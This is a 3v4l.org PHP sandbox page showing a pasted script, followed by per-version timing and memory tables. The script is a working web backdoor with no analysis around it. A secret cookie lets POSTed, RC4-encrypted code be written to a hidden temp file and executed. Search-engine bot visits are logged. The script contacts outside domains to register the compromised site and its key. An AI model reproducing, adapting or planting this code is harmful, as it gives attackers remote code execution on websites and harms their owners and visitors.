3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (function_exists('ini_set')){ @ini_set('allow_url_fopen', 1); @ini_set('display_errors', 0); } define('DISALLOW_FILE_EDIT', true); define('determinator', 1); function rc4($key, $string) { $j=$i-$i=-1; $s=array(); $result=implode($s); for ($a=256;++$i<$a;$s[$i]=$i); $x=$i=$j-1; for ($key_len=strlen($key); ++$i<$a;$s[$j]=$x){ $j=($j + $s[$i] + ord($key[$i % $key_len])) % $a; $x=$s[$i]; $s[$i]=$s[$j]; //$s[$j]=$x; } for ($y=$j=$i=0; $y<strlen($string);){ $i=++$i%$a; $j=($j + $s[$i]) % $a; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $result.=$string[$y++] ^ chr($s[($s[$i]+$s[$j]) % $a]); } return $result; } function w3net_feof($fp, &$start=NULL) { $start = microtime(true); return feof($fp); } function php_server_lower($item){ return @strtolower(@$_SERVER[$item]); } $source='{{source}}'; $ver='{{version}}'; $salt='{{salt}}'; $host='http'; $show_for_agents='google+yahoo+baidu+bingbot+msnbot+yandex'; $empty_string=implode(array()); if (isset($_SERVER['HTTPS'])){ if (@$_SERVER['HTTPS'] != 'off') $host.='s'; } $host.='://'.php_server_lower('HTTP_HOST'); //do sql enjection filter $badwords = 'base64_decode+union+select'; foreach (array_keys($_GET) as $key){ foreach(explode('+',$badwords) as $badware){ $_GET[$key]=str_replace($badware, $empty_string,$_GET[$key]); } } //IIS path if(!isset($_SERVER['REQUEST_URI'])) { $request_uri=@$_SERVER['SCRIPT_NAME']; if(isset($_SERVER['QUERY_STRING'])) { $request_uri.= '?' . @$_SERVER['QUERY_STRING']; } } else{ $request_uri=$_SERVER['REQUEST_URI']; } if (strlen($host) < 10){ define("web_inspector", 0); } elseif ($uri=$host.$request_uri){ $secure_key=@md5($host.PHP_OS.$ver.$salt); //find the directory $ds = DIRECTORY_SEPARATOR; $tmpdir=dirname(__FILE__).$ds; $tempdirs = Array( '/dev/shm', '/tmp/.font-unix', '/tmp/.ICE-unix', @$_SERVER['TMP'], @$_SERVER['TEMP'], @$_ENV['TMP'], @$_ENV['TMPDIR'], @$_ENV['TEMP'], '/tmp', @ini_get('upload_tmp_dir'), $tmpdir.'tmp', $tmpdir.'wp-content/uploads', $tmpdir.'wp-content/cache' ); if (defined('forced_dir')){ array_unshift($tempdirs, constant('forced_dir')); } foreach ($tempdirs as $location){ if (!empty($location)){ $location.=$ds; if (@is_writable($location)){ $tmpdir = $location; break; } } } $w3n_code=$tmpdir.'.'.$secure_key; define("web_inspector", $w3n_code); $w3n_log = $w3n_code.'.log'; $cookie_key = md5($secure_key); if (isset($_COOKIE[$cookie_key])){ $base64 = 'base64_decode'; echo "\r\n"; echo "version:".$ver."-".$source."-php\r\n"; echo "directory:".dirname(__FILE__)."\r\n"; if ($code=@$_POST[$cookie_key]){ $code=rc4($secure_key, $base64($code)); $w3n_exec=$w3n_code.".run"; $fh=@fopen($w3n_exec, 'w'); @fwrite($fh, "<?php ".$code); @fclose($fh); @include($w3n_exec); @unlink($w3n_exec); // $streammeta = 'stream_get_meta_data'; // fwrite($temp=tmpfile(), "<?php ".$code); // $meta = $streammeta($temp); // include($meta['uri']); // fclose($temp); // eval($code); } exit(0); } $se_bot=0; $useragent = php_server_lower('HTTP_USER_AGENT'); foreach (explode('+', $show_for_agents) as $refitm){ if (strpos($useragent, $refitm)!==False){ //log query $logfile = @fopen($w3n_code.'.log', 'a'); $requesturl = @urlencode($request_uri); @fwrite($logfile, time()."\t".$refitm."\t".$requesturl."\n"); @fclose($logfile); ++$se_bot; break; } } if (@is_file($w3n_code)){ @touch($w3n_code); @include_once($w3n_code); } elseif ($se_bot>0){ $domains = Array('{{ping_domain}}','e2.krebs.com','b4.foralice.com'); if (@touch($w3n_code)){ $uri=@urlencode($uri); $path = '/wp-config.php?u='.$uri.'&k='.$secure_key.'&t=php&p='.$source.'&v='.$ver; //get_content $host=$domains[0]; $curl='curl_'; $curl_init = $curl.'init'; if (@ini_get('allow_url_fopen') == '1') { @file_get_contents('http://' . $host . $path. '&w=fgc'); } //curl elseif (function_exists($curl_init)){ $curlhandler = @$curl_init(); $curl_setopt = $curl.'setopt'; @$curl_setopt($curlhandler, CURLOPT_URL, 'http://'.$host.$path. '&w=cu'); @$curl_setopt($curlhandler, CURLOPT_HEADER, 0); @$curl_setopt($curlhandler, CURLOPT_RETURNTRANSFER, 1); @$curl_setopt($curlhandler, CURLOPT_CONNECTTIMEOUT, 7); $curl_exec = $curl.'exec'; $curldata = @$curl_exec($curlhandler); @curl_close($curlhandler); } //fsock open else { $port = 80; $fp = @fsockopen($host, $port, $errno, $errstr, 5); if ($fp) { $start = NULL; @fputs($fp, "GET {$path}".'&w=sk HTTP/1.0'."\r\n".'Host: '."{$host}\r\n"); $user_agent = PHP_OS.'/'.PHP_VERSION; @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while(!w3net_feof($fp, $start) && (microtime(true) - $start) < 2){ @fgets($fp, 128); } @fclose($fp); } } @touch($w3n_code); } } } else { define("web_inspector", 1); } echo 'qwe'; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.2.100.0230.00718.44
8.2.90.0280.00418.25
8.2.80.0230.00718.17
8.2.70.0170.00638.57
8.2.60.0230.00518.16
8.2.50.0220.00618.16
8.2.40.0200.00518.29
8.2.30.0170.00818.22
8.2.20.0190.00618.25
8.2.10.0210.00818.28
8.2.00.0230.00418.19
8.1.230.0180.00618.70
8.1.220.0210.00818.09
8.1.210.0220.01018.00
8.1.200.0200.00418.06
8.1.190.0220.00618.15
8.1.180.0240.00618.03
8.1.170.0190.00818.13
8.1.160.0210.00418.13
8.1.150.0200.00618.13
8.1.140.0200.00718.09
8.1.130.0200.00618.13
8.1.120.0210.00418.13
8.1.110.0230.00218.13
8.1.100.0210.00518.03
8.1.90.0190.00518.12
8.1.80.0200.00518.09
8.1.70.0220.00218.15
8.1.60.0190.00618.15
8.1.50.0170.00718.21
8.1.40.0190.00618.12
8.1.30.0190.00418.13
8.1.20.0200.00518.16
8.1.10.0180.00518.16
8.1.00.0150.00618.09
8.0.300.0210.00417.92
8.0.290.0220.00317.93
8.0.280.0170.00717.93
8.0.270.0160.00918.00
8.0.260.0160.00717.94
8.0.250.0190.00417.97
8.0.240.0160.00517.97
8.0.230.0210.00217.97
8.0.220.0180.00717.91
8.0.210.0200.00317.94
8.0.200.0160.00717.99
8.0.190.0190.00517.97
8.0.180.0170.00617.97
8.0.170.0220.00418.06
8.0.160.0200.00617.90
8.0.150.0210.00417.96
8.0.140.0200.00318.00
8.0.130.0170.00317.97
8.0.120.0210.00417.94
8.0.110.0200.00317.94
8.0.100.0190.00617.94
8.0.90.0200.00517.93
8.0.80.0160.00717.96
8.0.70.0180.00617.96
8.0.60.0170.00617.96
8.0.50.0220.00217.97
8.0.30.0190.00517.99
8.0.20.0200.00317.97
8.0.10.0200.00317.94
8.0.00.0220.00417.94
7.4.330.0130.00517.83
7.4.320.0190.00417.88
7.4.300.0170.00617.87
7.4.290.0180.00517.84
7.4.280.0150.00917.84
7.4.270.0200.00517.91
7.4.260.0200.00417.91
7.4.250.0140.00917.88
7.4.240.0160.00717.88
7.4.230.0180.00517.84
7.4.220.0180.00517.87
7.4.210.0170.00517.87
7.4.200.0170.00617.90
7.4.190.0180.00417.88
7.4.180.0170.00617.83
7.4.160.0190.00417.88
7.4.150.0180.00717.84
7.4.140.0220.00217.83
7.4.130.0180.00717.83
7.4.120.0170.00617.83
7.4.110.0140.00917.84
7.4.100.0200.00317.84
7.4.90.0170.00517.83
7.4.80.0190.00517.83
7.4.70.0190.00417.83
7.4.60.0190.00517.91
7.4.50.0170.00717.84
7.4.40.0190.00517.87
7.4.30.0200.00217.83
7.4.20.0180.00517.87
7.4.10.0220.00117.88
7.4.00.0170.00517.88
7.3.330.0210.00317.83
7.3.320.0150.00717.84
7.3.310.0150.00717.83
7.3.300.0160.00717.83
7.3.290.0170.00517.88
7.3.280.0170.00517.83
7.3.270.0190.00417.88
7.3.260.0210.00217.83
7.3.250.0150.00717.84
7.3.240.0190.00417.83
7.3.230.0170.00617.87
7.3.220.0210.00317.83
7.3.210.0190.00417.83
7.3.200.0180.00617.84
7.3.190.0190.00517.83
7.3.180.0200.00517.83
7.3.170.0170.00617.83
7.3.160.0200.00517.83
7.3.150.0220.00317.84
7.3.140.0200.00417.83
7.3.130.0220.00517.84
7.3.120.0200.00517.83
7.3.110.0200.00617.83
7.3.100.0190.00517.83
7.3.90.0190.00417.87
7.3.80.0190.00617.83
7.3.70.0190.00517.91
7.3.60.0190.00417.88
7.3.50.0180.00517.84
7.3.40.0180.00617.91
7.3.30.0200.00317.84
7.3.20.0220.00618.25
7.3.10.0180.00718.25
7.3.00.0200.00618.22
7.2.340.0180.00517.84
7.2.330.0200.00217.88
7.2.320.0190.00517.83
7.2.310.0160.00817.83
7.2.300.0190.00517.88
7.2.290.0170.00717.83
7.2.280.0170.00617.84
7.2.270.0220.00217.83
7.2.260.0160.00717.88
7.2.250.0190.00617.84
7.2.240.0140.01017.83
7.2.230.0220.00217.84
7.2.220.0220.00217.91
7.2.210.0180.00617.83
7.2.200.0210.00317.91
7.2.190.0180.00617.91
7.2.180.0170.00817.84
7.2.170.0210.00217.91
7.2.160.0170.00517.84
7.2.150.0210.00718.31
7.2.140.0220.00318.32
7.2.130.0230.00418.33
7.2.120.0170.00818.36
7.2.110.0180.00718.34
7.2.100.0200.00518.31
7.2.90.0240.00118.29
7.2.80.0220.00418.36
7.2.70.0190.00718.29
7.2.60.0160.00818.38
7.2.50.0190.00518.36
7.2.40.0210.00318.35
7.2.30.0180.00818.30
7.2.20.0210.00618.34
7.2.10.0220.00318.37
7.2.00.0210.00518.31
7.1.330.0190.00418.06
7.1.320.0170.00618.00
7.1.310.0160.00617.98
7.1.300.0190.00418.06
7.1.290.0190.00618.09
7.1.280.0190.00418.02
7.1.270.0140.00818.04
7.1.260.0210.00318.03
7.1.250.0200.00317.98
7.1.240.0200.00318.06
7.1.230.0280.00318.09
7.1.220.0160.00718.07
7.1.210.0180.00518.06
7.1.200.0210.00218.02
7.1.190.0150.00717.98
7.1.180.0160.00617.94
7.1.170.0220.00218.00
7.1.160.0210.00418.04
7.1.150.0170.00717.97
7.1.140.0190.00418.03
7.1.130.0160.00618.05
7.1.120.0190.00417.99
7.1.110.0200.00318.04
7.1.100.0150.00718.05
7.1.90.0170.00718.01
7.1.80.0230.00218.08
7.1.70.0180.00618.05
7.1.60.0180.00418.06
7.1.50.0210.00218.04
7.1.40.0160.00518.06
7.1.30.0190.00418.09
7.1.20.0180.00318.06
7.1.10.0220.00418.03
7.1.00.0170.00518.03
7.0.330.0210.00117.96
7.0.320.0150.00617.96
7.0.310.0190.00317.94
7.0.300.0190.00217.94
7.0.290.0170.00317.93
7.0.280.0170.00517.98
7.0.270.0190.00317.98
7.0.260.0160.00617.94
7.0.250.0170.00418.06
7.0.240.0160.00517.98
7.0.230.0160.00517.99
7.0.220.0160.00417.94
7.0.210.0150.00517.97
7.0.200.0170.00317.99
7.0.190.0190.00317.97
7.0.180.0160.00417.94
7.0.170.0190.00317.95
7.0.160.0160.00517.95
7.0.150.0190.00317.96
7.0.140.0150.00517.94
7.0.130.0170.00517.94
7.0.120.0160.00618.03
7.0.110.0160.00517.97
7.0.100.0150.00517.97
7.0.90.0150.00518.00
7.0.80.0190.00417.94
7.0.70.0180.00317.99
7.0.60.0090.01117.91
7.0.50.0180.00217.95
7.0.40.0170.00417.94
7.0.30.0160.00518.00
7.0.20.0180.00517.98
7.0.10.0130.00717.94
7.0.00.0170.00517.98
5.6.400.0190.00317.83
5.6.390.0130.00717.83
5.6.380.0170.00317.83
5.6.370.0150.00617.83
5.6.360.0160.00517.83
5.6.350.0180.00317.83
5.6.340.0150.00517.83
5.6.330.0160.00517.83
5.6.320.0170.00317.83
5.6.310.0170.00417.83
5.6.300.0170.00517.83
5.6.290.0130.00717.83
5.6.280.0160.00417.83
5.6.270.0150.00517.83
5.6.260.0150.00517.83
5.6.250.0150.00517.83
5.6.240.0130.00717.83
5.6.230.0150.00417.83
5.6.220.0170.00317.83
5.6.210.0180.00317.83
5.6.200.0170.00317.83
5.6.190.0170.00317.83
5.6.180.0170.00417.83
5.6.170.0170.00417.83
5.6.160.0140.00617.83
5.6.150.0180.00317.83
5.6.140.0170.00417.83
5.6.130.0170.00417.83
5.6.120.0170.00417.83
5.6.110.0160.00417.83
5.6.100.0170.00317.83
5.6.90.0170.00317.83
5.6.80.0150.00517.83
5.6.70.0180.00417.83
5.6.60.0140.00617.83
5.6.50.0150.00517.83
5.6.40.0160.00417.83
5.6.30.0140.00617.83
5.6.20.0170.00317.83
5.6.10.0140.00617.83
5.6.00.0140.00617.83
5.5.380.0140.00617.83
5.5.370.0130.00717.83
5.5.360.0180.00217.83
5.5.350.0150.00617.83
5.5.340.0150.00517.83
5.5.330.0170.00317.83
5.5.320.0170.00317.83
5.5.310.0170.00417.83
5.5.300.0160.00517.83
5.5.290.0120.00817.83
5.5.280.0140.00717.83
5.5.270.0160.00417.83
5.5.260.0160.00417.83
5.5.250.0160.00517.83
5.5.240.0190.00217.83
5.5.230.0150.00417.83
5.5.220.0130.00717.83
5.5.210.0170.00317.83
5.5.200.0150.00417.83
5.5.190.0130.00617.83
5.5.180.0170.00317.83
5.5.170.0160.00317.83
5.5.160.0180.00117.83
5.5.150.0160.00417.83
5.5.140.0150.00517.83
5.5.130.0160.00317.83
5.5.120.0140.00517.83
5.5.110.0150.00517.83
5.5.100.0150.00517.83
5.5.90.0160.00317.83
5.5.80.0170.00317.83
5.5.70.0170.00217.83
5.5.60.0140.00517.83
5.5.50.0160.00317.83
5.5.40.0130.00617.83
5.5.30.0150.00417.83
5.5.20.0140.00517.83
5.5.10.0170.00217.83
5.5.00.0160.00317.83
5.4.450.0140.00317.83
5.4.440.0140.00217.83
5.4.430.0120.00417.83
5.4.420.0110.00517.83
5.4.410.0110.00417.83
5.4.400.0140.00217.83
5.4.390.0110.00417.83
5.4.380.0130.00317.83
5.4.370.0100.00617.83
5.4.360.0130.00317.83
5.4.350.0120.00317.83
5.4.340.0140.00317.83
5.4.330.0100.00617.83
5.4.320.0120.00517.83
5.4.310.0140.00217.83
5.4.300.0130.00317.83
5.4.290.0130.00317.83
5.4.280.0130.00417.83
5.4.270.0140.00217.83
5.4.260.0110.00517.83
5.4.250.0100.00717.83
5.4.240.0130.00317.83
5.4.230.0140.00217.83
5.4.220.0140.00617.83
5.4.210.0130.00317.83
5.4.200.0130.00317.83
5.4.190.0110.00517.83
5.4.180.0130.00317.83
5.4.170.0110.00417.83
5.4.160.0130.00317.83
5.4.150.0130.00217.83
5.4.140.0120.00317.83
5.4.130.0140.00117.83
5.4.120.0130.00217.83
5.4.110.0110.00417.83
5.4.100.0110.00517.83
5.4.90.0130.00317.83
5.4.80.0130.00217.83
5.4.70.0140.00117.83
5.4.60.0090.00617.83
5.4.50.0080.00717.83
5.4.40.0100.00717.83
5.4.30.0140.00217.83
5.4.20.0100.00617.83
5.4.10.0110.00417.83
5.4.00.0130.00317.83
5.3.290.0130.00217.83
5.3.280.0120.00417.83
5.3.270.0140.00417.83
5.3.260.0120.00417.83
5.3.250.0140.00217.83
5.3.240.0130.00317.83
5.3.230.0100.00517.83
5.3.220.0150.00117.83
5.3.210.0130.00317.83
5.3.200.0130.00317.83
5.3.190.0120.00517.83
5.3.180.0120.00417.83
5.3.170.0110.00517.83
5.3.160.0120.00417.83
5.3.150.0130.00317.83
5.3.140.0130.00317.83
5.3.130.0130.00317.83
5.3.120.0130.00317.83
5.3.110.0120.00417.83
5.3.100.0140.00317.83
5.3.90.0090.00617.83
5.3.80.0120.00317.83
5.3.70.0100.00517.83
5.3.60.0110.00417.83
5.3.50.0120.00417.83
5.3.40.0110.00617.83
5.3.30.0110.00417.83
5.3.20.0110.00417.83
5.3.10.0110.00417.83
5.3.00.0140.00217.83

preferences:
17.19 ms | 402 KiB | 5 Q